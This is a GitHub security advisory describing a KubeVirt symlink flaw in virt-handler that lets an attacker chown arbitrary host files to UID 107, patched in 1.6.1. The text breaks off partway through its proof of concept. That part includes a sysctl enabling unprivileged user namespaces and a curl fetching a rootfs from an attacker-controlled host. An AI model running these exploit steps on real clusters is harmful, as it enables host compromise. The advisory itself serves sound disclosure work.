GitHub Security Advisory: GHSA-2r4r-5x78-mvqf
Package: kubevirt.io/kubevirt (GO)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: >= 1.6.0-alpha.0, < 1.6.1
Patched in: 1.6.1

Summary: KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes

Details:
### Summary
_Short summary of the problem. Make the impact and severity as clear as possible.

It is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod.


### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

In the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. 
To successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod.



### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._

In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:

1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.
2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem.
3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh).


It is assumed that an attacker has access to a `virt-launcher` pod's file system (for example, [obtained using another vulnerability](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces:

```bash
admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1
```

The below is inspired by [an article](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.

```bash
# Download an container file system from an attacker-controlled location
qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar
# Create a directory and extract the file system in it
qemu-compromised@minikube:~$  mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine
# Create a MOUNT and remapped USER names